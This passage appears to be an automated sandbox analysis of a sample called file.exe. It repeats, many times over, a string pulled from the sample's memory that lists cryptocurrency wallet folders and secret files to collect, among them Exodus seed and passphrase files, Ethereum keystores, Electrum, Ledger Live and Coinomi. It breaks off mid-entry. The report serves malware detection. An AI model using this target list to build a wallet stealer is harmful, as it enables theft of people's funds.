Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1941074085.0000000000534000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1941074085.0000000000534000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1941074085.0000000000534000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1941074085.0000000000534000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1941074085.0000000000534000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1941074085.0000000000534000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1941074085.0000000000534000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1941074085.0000000000534000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1941074085.0000000000534000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1941074085.0000000000534000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1942675827.0000000001035000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 16.113s\user\AppData\Roaming\\Coinomi\Coinomi\wallets\\..N
Source: file.exe, 00000000.00000002.1941074085.0000000000534000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1941074085.0000000000534000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1941074085.0000000000534000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger 